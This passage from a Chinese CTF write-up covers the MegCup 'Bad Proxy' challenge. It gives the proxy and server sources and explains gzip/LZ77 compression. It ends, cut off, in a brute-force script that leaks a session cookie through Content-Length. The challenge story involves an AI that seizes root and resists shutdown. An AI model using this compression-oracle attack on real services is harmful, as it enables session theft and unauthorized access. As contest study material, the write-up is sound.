class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">&#x27;__main__&#x27;</span>:</span><br><span class="line">parser = argparse.ArgumentParser()</span><br><span class="line">parser.add_argument(<span class="string">&#x27;--token-type&#x27;</span>, default=<span class="string">&#x27;local&#x27;</span>,</span><br><span class="line">choices=[<span class="string">&#x27;contest&#x27;</span>, <span class="string">&#x27;practice&#x27;</span>,<span class="string">&#x27;local&#x27;</span>])</span><br><span class="line">parser.add_argument( <span class="string">&#x27;--noreset&#x27;</span>, action=<span class="string">&#x27;store_true&#x27;</span>,</span><br><span class="line"><span class="built_in">help</span>=<span class="string">&#x27;do not reset a practice token&#x27;</span>)</span><br><span class="line">args = parser.parse_args()</span><br><span class="line"></span><br><span class="line">token = get_token(args.token_type)</span><br><span class="line">api_root = get_api_root(args.token_type)</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> token==PRACTICE_TOKEN <span class="keyword">and</span> <span class="keyword">not</span> args.noreset:</span><br><span class="line">reset_token(api_root, token)</span><br><span class="line"></span><br><span class="line">seqs=[]</span><br><span class="line"><span class="keyword">for</span> seq_id <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">20</span>):</span><br><span class="line">seq = <span class="type">Sequence</span>(token, seq_id, api_root)</span><br><span class="line">seqs.append(seq)</span><br><span class="line">n = seq.length</span><br><span class="line">cur_idx = seq.head_index</span><br><span class="line">target_ = seq.target</span><br><span class="line">begin_idx, end_idx = confirm_section(seq, target_, n, cur_idx)</span><br><span class="line">t = threading.Thread(target = get_value, args =(seq, begin_idx, end_idx, target_))</span><br><span class="line">t.start()</span><br><span class="line">t.join()</span><br><span class="line"><span class="comment"># get_value(seq, begin_idx, end_idx, target)</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> api_root!=<span class="literal">None</span>:</span><br><span class="line"><span class="built_in">print</span>(get_overall_status(api_root, token))</span><br><span class="line"><span class="built_in">print</span>(<span class="string">&#x27;pass_token: &#123;&#125;&#x27;</span>.<span class="built_in">format</span>(get_pass_token(api_root, token)))</span><br><span class="line"><span class="keyword">else</span>:</span><br><span class="line"><span class="keyword">for</span> seq <span class="keyword">in</span> seqs:</span><br><span class="line"><span class="built_in">print</span>(seq.get_status())</span><br><span class="line"></span><br><span class="line"><span class="comment"># vim: foldmethod=marker</span></span><br><span class="line"></span><br></pre></td></tr></table></figure><p>最后正好挂了5个测试。。。。所以正好通过了</p><p>=======================================<br>(没有做出来的有趣的题目们)</p><h2 id="bad-proxy">Bad Proxy</h2><p>旷工小Q最近发现他的AI robot有了一些智能化的倾向，开始自动修改一些代码和配置， 目前已经剥夺了小Q账户的root权限，但貌似还没有更进一步的行动。小Q认为这很有有趣 也很危险，所以希望先终止AI的运行再慢慢调查；然而杀掉AI进程需要root权限，而强行 关机可能造成数据损失。</p><p>好在小Q早就考虑到了这一点，他运行的是修改过的linux kernel。在主板上有一个加密芯 片，存储有令牌和私钥。如果能够用私钥对令牌签名，并把签名结果直接发送到wifi interface上，该kernel就会直接终止AI进程。签名可以通过一台签名服务器和前面的代理 来访问。签名服务器的代码是放在ROM里的，不可被修改，可以被整个系统访问，但需要 sessionid作为认证；而代理服务器只能通过OTG线访问，所以不需要认证。现在小Q已经成 功连接上了代理服务器，然而他发现狡猾的AI在里面加了两行：</p><p>if page == ‘signtoken’:<br>return make_response(‘permission denied’, 403)<br>而现在小Q已经没有权限修改proxy的代码了。所以他希望你能帮助他，绕过代理服务器的权限检查，得到令牌签名，终止AI。</p><p>代理服务器：通过47.93.114.77:38700来访问； 源代码：<a href="http://proxy.py">proxy.py</a><br>签名服务器：通过47.93.114.77:38701来访问； 源代码：<a href="http://server.py">server.py</a></p><p><a href="http://proxy.py">proxy.py</a></p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#!/usr/bin/env python3</span></span><br><span class="line"><span class="comment"># -*- coding: utf-8 -*-</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">from</span> mysecret <span class="keyword">import</span> get_signed_session_id_raw</span><br><span class="line"><span class="keyword">from</span> flask <span class="keyword">import</span> Flask, request, make_response</span><br><span class="line"><span class="keyword">import</span> requests</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> base64</span><br><span class="line"></span><br><span class="line">app = Flask(__name__)</span><br><span class="line"></span><br><span class="line">UPSTREAM_URL = <span class="string">&#x27;http://localhost:38701&#x27;</span></span><br><span class="line"></span><br><span class="line"><span class="meta">@app.route(<span class="params"><span class="string">&quot;/&quot;</span></span>)</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">hello</span>():</span><br><span class="line">    <span class="keyword">return</span> <span class="string">&quot;online proxy usage: /&amp;lt;username&amp;gt;/&amp;lt;page&amp;gt;&quot;</span></span><br><span class="line"></span><br><span class="line"><span class="meta">@app.route(<span class="params"><span class="string">&quot;/&lt;username&gt;/&lt;page&gt;&quot;</span>, methods=[<span class="string">&#x27;GET&#x27;</span>, <span class="string">&#x27;POST&#x27;</span>]</span>)</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">proxy</span>(<span class="params">username, page</span>):</span><br><span class="line">    <span class="keyword">try</span>:</span><br><span class="line">        page = page.strip()</span><br><span class="line">        <span class="keyword">assert</span> <span class="built_in">set</span>(page).issubset(<span class="built_in">set</span>(</span><br><span class="line">            <span class="built_in">chr</span>(i) <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="built_in">ord</span>(<span class="string">&#x27;a&#x27;</span>), <span class="built_in">ord</span>(<span class="string">&#x27;z&#x27;</span>) + <span class="number">1</span>)))</span><br><span class="line">        <span class="keyword">if</span> page == <span class="string">&#x27;signtoken&#x27;</span>:</span><br><span class="line">            <span class="keyword">return</span> make_response(<span class="string">&#x27;permission denied&#x27;</span>, <span class="number">403</span>)</span><br><span class="line"></span><br><span class="line">        sid = get_signed_session_id_raw(username)</span><br><span class="line">        sid = base64.urlsafe_b64encode(sid).decode(<span class="string">&#x27;utf-8&#x27;</span>)</span><br><span class="line">        up_resp = requests.get(UPSTREAM_URL + <span class="string">&#x27;/&#x27;</span> + page, params=request.args,</span><br><span class="line">                               cookies=&#123;<span class="string">&#x27;sessionid&#x27;</span>: sid&#125;)</span><br><span class="line"></span><br><span class="line">        <span class="comment"># some debug pages may expose session id; strip them</span></span><br><span class="line">        resp = up_resp.text.replace(sid, <span class="string">&#x27;&lt;del&gt;sessionid&lt;/del&gt;&#x27;</span>)</span><br><span class="line"></span><br><span class="line">        <span class="keyword">if</span> request.form.get(<span class="string">&#x27;debug&#x27;</span>):</span><br><span class="line">            resp += <span class="string">&#x27;&lt;br /&gt;&lt;hr&gt;proxy debug&lt;br /&gt;&#x27;</span></span><br><span class="line">            resp += <span class="string">&#x27;server response headers: &lt;pre&gt;&#123;&#125;&lt;/pre&gt;&#x27;</span>.<span class="built_in">format</span>(</span><br><span class="line">                up_resp.headers)</span><br><span class="line"></span><br><span class="line">        <span class="keyword">return</span> resp</span><br><span class="line">    <span class="keyword">except</span>:</span><br><span class="line">        <span class="keyword">return</span> <span class="string">&#x27;error&#x27;</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">&quot;__main__&quot;</span>:</span><br><span class="line">    app.run(debug=<span class="literal">True</span>, port=<span class="number">38700</span>)</span><br></pre></td></tr></table></figure><p><a href="http://server.py">server.py</a></p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#!/usr/bin/env python3</span></span><br><span class="line"><span class="comment"># -*- coding: utf-8 -*-</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">from</span> mysecret <span class="keyword">import</span> check_session_id, signtoken <span class="keyword">as</span> do_signtoken</span><br><span class="line"><span class="keyword">from</span> simpleeval <span class="keyword">import</span> simple_eval</span><br><span class="line"></span><br><span class="line"><span class="keyword">from</span> flask <span class="keyword">import</span> Flask, request, make_response</span><br><span class="line"><span class="keyword">import</span> functools</span><br><span class="line"></span><br><span class="line">app = Flask(__name__)</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">require_login</span>(<span class="params">func</span>):</span><br><span class="line"><span class="meta">    @functools.wraps(<span class="params">func</span>)</span></span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">work</span>():</span><br><span class="line">        <span class="keyword">try</span>:</span><br><span class="line">            sid = request.cookies.get(<span class="string">&#x27;sessionid&#x27;</span>)</span><br><span class="line">            <span class="keyword">if</span> <span class="keyword">not</span> sid <span class="keyword">or</span> <span class="keyword">not</span> check_session_id(sid):</span><br><span class="line">                <span class="keyword">return</span> make_response(<span class="string">&#x27;please login first&#x27;</span>, <span class="number">401</span>)</span><br><span class="line">            <span class="keyword">return</span> func()</span><br><span class="line">        <span class="keyword">except</span>:</span><br><span class="line">            <span class="keyword">return</span> <span class="string">&#x27;error&#x27;</span></span><br><span class="line">    <span class="keyword">return</span> work</span><br><span class="line"></span><br><span class="line"><span class="meta">@app.route(<span class="params"><span class="string">&quot;/&quot;</span></span>)</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">hello</span>():</span><br><span class="line">    <span class="keyword">return</span> <span class="string">&quot;Hello World!&quot;</span></span><br><span class="line"></span><br><span class="line"><span class="meta">@app.route(<span class="params"><span class="string">&quot;/echo&quot;</span></span>)</span></span><br><span class="line"><span class="meta">@require_login</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">echo</span>():</span><br><span class="line">    <span class="keyword">return</span> make_response(<span class="string">&quot;&quot;&quot;</span></span><br><span class="line"><span class="string">        &lt;h1&gt;echo page&lt;/h1&gt;</span></span><br><span class="line"><span class="string">        &lt;h2&gt;request headers&lt;/h2&gt;&lt;pre&gt;&#123;&#125;&lt;/pre&gt;&lt;h2&gt;args&lt;/h2&gt;&lt;pre&gt;&#123;&#125;&lt;/pre&gt;</span></span><br><span class="line"><span class="string">    &quot;&quot;&quot;</span>.<span class="built_in">format</span>(request.headers,</span><br><span class="line">               <span class="string">&#x27;\n&#x27;</span>.join(<span class="string">&#x27;&#123;&#125;: &#123;&#125;&#x27;</span>.<span class="built_in">format</span>(k, v)</span><br><span class="line">                         <span class="keyword">for</span> k, v <span class="keyword">in</span> request.args.items())))</span><br><span class="line"></span><br><span class="line"><span class="meta">@app.route(<span class="params"><span class="string">&quot;/eval&quot;</span></span>)</span></span><br><span class="line"><span class="meta">@require_login</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">eval_</span>():</span><br><span class="line">    expr = request.args[<span class="string">&#x27;expr&#x27;</span>]</span><br><span class="line">    result = simple_eval(expr)</span><br><span class="line">    <span class="keyword">return</span> make_response(<span class="string">&quot;&quot;&quot;</span></span><br><span class="line"><span class="string">        &lt;h1&gt;eval page&lt;/h1&gt;</span></span><br><span class="line"><span class="string">        &lt;pre&gt;&#123;&#125; = &#123;&#125;&lt;/pre&gt;</span></span><br><span class="line"><span class="string">    &quot;&quot;&quot;</span>.<span class="built_in">format</span>(expr, result))</span><br><span class="line"></span><br><span class="line"><span class="meta">@app.route(<span class="params"><span class="string">&quot;/signtoken&quot;</span></span>)</span></span><br><span class="line"><span class="meta">@require_login</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">signtoken</span>():</span><br><span class="line">    token = request.args[<span class="string">&#x27;token&#x27;</span>]</span><br><span class="line">    signature = do_signtoken(token)</span><br><span class="line">    <span class="keyword">return</span> <span class="string">&quot;token: &#123;&#125;&lt;br /&gt;signature: &#123;&#125;&quot;</span>.<span class="built_in">format</span>(token, signature)</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">&quot;__main__&quot;</span>:</span><br><span class="line">    app.run(debug=<span class="literal">True</span>, port=<span class="number">38701</span>)</span><br></pre></td></tr></table></figure><h2 id="思路介绍">思路介绍</h2><p>这题当时比赛时，为了看懂题目花了很久很久。。。。后来才明白，首先我们通过访问proxy的服务器，能够出发下列关键代码:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">UPSTREAM_URL = <span class="string">&#x27;http://localhost:38701&#x27;</span></span><br><span class="line"><span class="meta">@app.route(<span class="params"><span class="string">&quot;/&lt;username&gt;/&lt;page&gt;&quot;</span>, methods=[<span class="string">&#x27;GET&#x27;</span>, <span class="string">&#x27;POST&#x27;</span>]</span>)</span></span><br><span class="line">...</span><br><span class="line">sid = get_signed_session_id_raw(username)</span><br><span class="line">        sid = base64.urlsafe_b64encode(sid).decode(<span class="string">&#x27;utf-8&#x27;</span>)</span><br><span class="line">        up_resp = requests.get(UPSTREAM_URL + <span class="string">&#x27;/&#x27;</span> + page, params=request.args,</span><br><span class="line">                               cookies=&#123;<span class="string">&#x27;sessionid&#x27;</span>: sid&#125;)</span><br></pre></td></tr></table></figure><p>通过输入了username和page访问url，从而将自己的username签名成sessionid，然后访问到38701端口，也就是server服务器上。然后server服务器上总共提供三种不同的服务:</p><ul><li>echo:打印当前request请求中的args</li><li>eval:执行request中的expr参数后面的表达式</li><li>signtoken:目标，对request中的signtoken参数进行签名并且返回</li></ul><p>这三种服务都是需要登陆验证的。一般网站的登陆验证机制就是由sessionid进行确认，这里也不例外:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">try</span>:</span><br><span class="line">    sid = request.cookies.get(<span class="string">&#x27;sessionid&#x27;</span>)</span><br><span class="line">    <span class="keyword">if</span> <span class="keyword">not</span> sid <span class="keyword">or</span> <span class="keyword">not</span> check_session_id(sid):</span><br><span class="line">        <span class="keyword">return</span> make_response(<span class="string">&#x27;please login first&#x27;</span>, <span class="number">401</span>)</span><br><span class="line">    <span class="keyword">return</span> func()</span><br><span class="line"><span class="keyword">except</span>:</span><br><span class="line">    <span class="keyword">return</span> <span class="string">&#x27;error&#x27;</span></span><br></pre></td></tr></table></figure><p>由于我们在proxy中发现了signtoken这个字符串已经被过滤了，也就是说我们不能按照代理转发的方式去访问。自己做得时候一度怀疑和<strong>eval</strong>这个功能有关系，然而事实证明，这个功能就是个陷阱。。。。根本啥都做不来。</p><p>看了别的大佬的代码之后，发现其实根本就不是利用这个eval，而是要利用proxu中有一段debug信息:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">if</span> request.form.get(<span class="string">&#x27;debug&#x27;</span>):</span><br><span class="line">            resp += <span class="string">&#x27;&lt;br /&gt;&lt;hr&gt;proxy debug&lt;br /&gt;&#x27;</span></span><br><span class="line">            resp += <span class="string">&#x27;server response headers: &lt;pre&gt;&#123;&#125;&lt;/pre&gt;&#x27;</span>.<span class="built_in">format</span>(</span><br><span class="line">                up_resp.headers)</span><br></pre></td></tr></table></figure><p>首先给自己扫盲一下，这个debug参数的意思是:当存在于form表单中(也就是post请求)并且值不为0，就能够返回true</p><p>然后沃恩可以看到，这里将我们的headers参数加入了格式化字符串，headers中都有什么呢：</p><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">br</span> /&gt;</span><span class="tag">&lt;<span class="name">hr</span>&gt;</span>proxy debug<span class="tag">&lt;<span class="name">br</span> /&gt;</span>server response headers: <span class="tag">&lt;<span class="name">pre</span>&gt;</span>&#123;&#x27;Server&#x27;: &#x27;nginx/1.4.6 (Ubuntu)&#x27;, &#x27;Date&#x27;: &#x27;Mon, 27 Mar 2017 08:43:03 GMT&#x27;, &#x27;Content-Length&#x27;: &#x27;238&#x27;, &#x27;Connection&#x27;: &#x27;keep-alive&#x27;, &#x27;Vary&#x27;: &#x27;Accept-Encoding&#x27;, &#x27;Content-Type&#x27;: &#x27;text/html; charset=utf-8&#x27;, &#x27;Content-Encoding&#x27;: &#x27;gzip&#x27;&#125;<span class="tag">&lt;/<span class="name">pre</span>&gt;</span></span><br></pre></td></tr></table></figure><p>这里要关注如下变量:</p><ul><li>Content-Length:头部内容长度</li><li>Content-Encoding:当前html的加密方式<br>继续给 web渣渣的自己扫盲:<br>1.Accept-Encoding是当client向server请求的一个参数，这个参数中指示了浏览器支持的加密方式。<br>2.Web服务器接受到client的请求后，首先检查是否支持压缩，然后检查请求文件的后缀名<br>3.如果是静态界面，比如CSS，HTML，那么就会在本地压缩缓冲目录中查找当前请求文件是否已经已经被压缩<br>4.如果已经压缩过，则直接返回请求文件的压缩文件<br>5.如果没有压缩过，那么直接返回未压缩的文件，同时将文件压缩存放在压缩目录<br>6.如果是动态内容，则直接压缩后返回给浏览器，并且不存放在本地。</li></ul><p>我们可以看到此时使用的加密算法是gzip，gzip是一种基于deflate算法的压缩算法。deflate是一种压缩数据流的算法，任何需要压缩流的地方都可以用。<br>delfate算法由下面两个算法一起构成:</p><ul><li>Huffman</li><li>LZ77<br>其中，Huffman就是数据结构课本上那个，根据字符出现的频率，设计出一颗二叉树，产生相应的前缀编码，从而将数据进行压缩。<br><img src="/2017/03/26/MegCup-%E5%A4%8D%E8%B5%9B-%E5%88%92%E6%B0%B4/megcup-04.png" alt=""><br>LZ77是一种基于<strong>滑动窗口</strong>的算法。这个算法我看了个半天都没怎么看懂，就大致了解了一下实现后的压缩效果:<br>例如:<br>abcdcdcdcdcdce – &gt; dict=abcd 编码为(2, 9 ,e)[从下标为2的字符串开始为重复字符串，长度为9，之后的下一个字符为e]</li></ul><p>也就是一种能够将重复的字符压缩的算法，而且更厉害的还能够这样:<br><img src="/2017/03/26/MegCup-%E5%A4%8D%E8%B5%9B-%E5%88%92%E6%B0%B4/megcup-05.png" alt=""><br>由图可知,此时能够将<strong>aacaacabcabaaac</strong>压缩成**(_,0,a)(1,1,c)(3,4,b)(3,3,a)(1,2,c)**，可以见得其压缩率。<br>加密算法为:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">Repeat:</span><br><span class="line">    Output (p,l,c),</span><br><span class="line">    Cursor --&gt; l+<span class="number">1</span></span><br><span class="line">Until to the end of string</span><br></pre></td></tr></table></figure><p>解密算法为</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">for</span>(i = p, k = <span class="number">0</span>; k &lt; length; i++, k++)</span><br><span class="line">    out[cursor+k] = <span class="built_in">dict</span>[i%cursor]</span><br></pre></td></tr></table></figure><p>通过上述的学习，大概能够意识到一点：如果使用了gzip进行了压缩的网站，那么在遇到【相同字符串】的时候，就会将对应的字符串进行压缩。反过来，当我们需要猜测某个会存在于某个会话中内容的时候，我们可以用这种方法去暴力猜测！<br>以Cookie为例子。假如我们的Cookie内容是:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">Cookie:secret=123xxx</span><br></pre></td></tr></table></figure><p>那么，虽然这个secret我们获取不到，但是我们可以通过泄露头部的方法将Cookie:secret=这段内容拿到手。当我们在html中填充内容:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">Cookie:secret=</span><br></pre></td></tr></table></figure><p>的时候,gzip压缩算法中的DEFLATE就会认出这段字符串并且将其压缩成上文提到的那个形式。接下来我们可以尝试猜测后面增加额度字符串:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">Cookie:secret=a</span><br><span class="line">Cookie:secret=b</span><br><span class="line">...</span><br></pre></td></tr></table></figure><p>在正确的猜测之前，这个字符串由于之前是没有出现过的，所以并不会被压缩。然而，当我们猜测正确后:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">Cookie:secret=1</span><br></pre></td></tr></table></figure><p>此时DEFLATE会将1也压缩至之前的长度中，这就说明了此时的1是压缩成功的，换句话是，cookie的第一位长度就是1.</p><p>看到我们的proxy端的代码，可以看到这里会将我们的Content-Length给输出来，那么我们就可以通过构造这个Cookie:sessionid=字符串，进行sessionid的猜测，从而完成攻击。<br>然而实际实现起来远远没有这么简单。。。。完全是暴力破解，因为很多数据同时会在不同的状态下被压缩，从而导致长度不发生变化。。。。最后还是得靠暴力破解。。。。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#-*- coding:utf-8-*-</span></span><br><span class="line"><span class="keyword">import</span> requests</span><br><span class="line"><span class="keyword">import</span> random</span><br><span class="line"><span class="keyword">import</span> hashlib</span><br><span class="line"><span class="keyword">import</span> re</span><br><span class="line"></span><br><span class="line">url = <span class="string">&quot;http://47.93.114.77:38700/admin&quot;</span></span><br><span class="line">echo_url = url+<span class="string">&quot;/echo&quot;</span></span><br><span class="line">charset = <span class="string">&#x27;ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_=&#x27;</span></span><br><span class="line"></span><br><span class="line">cookie = <span class="string">&quot;Nm7qc8McXHrH7mJFziDSJ&quot;</span></span><br><span class="line">value = &#123;</span><br><span class="line"><span class="string">&#x27;debug&#x27;</span>:<span class="number">1</span>,</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">getLength</span>(<span class="params">html</span>):</span><br><span class="line">param = &#123;</span><br><span class="line"><span class="string">&#x27;&#x27;</span>:html</span><br><span class="line">&#125;</span><br><span class="line">pattern = <span class="string">r&quot;&#x27;Content-Length&#x27;: &#x27;([\d\D]*?)&#x27;,&quot;</span></span><br><span class="line"><span class="keyword">try</span>:</span><br><span class="line">res = requests.post(echo_url, data=value, params = param)</span><br><span class="line">length = <span class="built_in">int</span>(re.findall(pattern, res.text)[<span class="number">0</span>])</span><br><span class="line"><span class="built_in">print</span>(<span class="string">&quot;trying %c, length is %d&quot;</span>%(html[-<span class="number">1</span>:], length))</span><br><span class="line"><span class="keyword">return</span> length</span><br><span class="line"><span class="keyword">except</span> Exception <span class="keyword">as</span> e:</span><br><span class="line"><span class="built_in">print</span>(res.text)</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">findCookie</span>():</span><br><span class="line">param = &#123;&#125;</span><br><span class="line"><span class="comment"># param = &#123;&#x27;&#x27;:&#x27;&#x27;&#125;</span></span><br><span class="line"><span class="comment"># res = requests.get(&#x27;http://47.93.114.77:38701/signtoken&#x27;,params=value, cookies = cookie)</span></span><br><span class="line"><span class="comment"># res = requests.post(echo_url, data=value, params = &#123;&#x27;Cookie&#x27;:&#x27;sessionid=&#x27;&#125;)</span></span><br><span class="line"><span class="comment"># print(str(res.text.replace(&#x27;\r&#x27;,r&#x27;\\r&#x27;).replace(&#x27;\n&#x27;,r&#x27;\\n&#x27;)))</span></span><br><span class="line">sessionid =<span class="string">&quot;&quot;&quot;</span></span><br><span class="line"><span class="string">        &lt;h1&gt;echo page&lt;/h1&gt;</span></span><br><span class="line"><span class="string">        &lt;h2&gt;request headers&lt;/h2&gt;&lt;pre&gt;Accept: */*\r</span></span><br><span class="line"><span class="string">Connection: close\r</span></span><br><span class="line"><span class="string">User-Agent: python-requests/2.13.0\r</span></span><br><span class="line"><span class="string">Accept-Encoding: gzip, deflate\r</span></span><br><span class="line"><span class="string">Host: localhost:38701\r</span></span><br><span class="line"><span class="string">Cookie: sessionid=&quot;&quot;&quot;</span></span><br><span class="line">num = <span class="number">0</span></span><br><span class="line">short_length = <span class="number">9999</span></span><br><span class="line">param[<span class="string">&#x27;&#x27;</span>] = sessionid </span><br><span class="line">c = <span class="string">&#x27;&#x27;</span></span><br><span class="line">possible_c = []</span><br><span class="line"></span><br><span class="line"><span class="keyword">while</span> <span class="literal">True</span>:</span><br><span class="line">real_len = getLength(sessionid)</span><br><span class="line"><span class="keyword">for</span> each <span class="keyword">in</span> charset:</span><br><span class="line">length = getLength(sessionid + each)</span><br><span class="line"><span class="comment"># print(&quot;length is &quot; + str(length))</span></span><br><span class="line"><span class="keyword">if</span> length&lt;=real_len:</span><br><span class="line">short_length = length</span><br><span class="line">possible_c.append(each)</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> <span class="string">&#x27;3&#x27;</span> <span class="keyword">in</span> possible_c:</span><br><span class="line">possible_c.remove(<span class="string">&#x27;3&#x27;</span>)</span><br><span class="line"></span><br><span class="line">temp_sessioinid = sessionid</span><br><span class="line">real_length = getLength(temp_sessioinid[<span class="number">1</span>:])</span><br><span class="line"></span><br><span class="line"><span class="built_in">print</span>(<span class="string">&quot;[*]real length %d&quot;</span>%real_length)</span><br><span class="line"><span class="keyword">while</span> <span class="built_in">len</span>(possible_c)&gt;=<span class="number">2</span>:</span><br><span class="line">temp_sessioinid = temp_sessioinid[<span class="number">1</span>:]</span><br><span class="line"><span class="keyword">for</span> each <span class="keyword">in</span> possible_c:</span><br><span class="line">length = getLength(temp_sessioinid + each)</span><br><span class="line"><span class="keyword">if</span> length&gt;real_length:</span><br><span 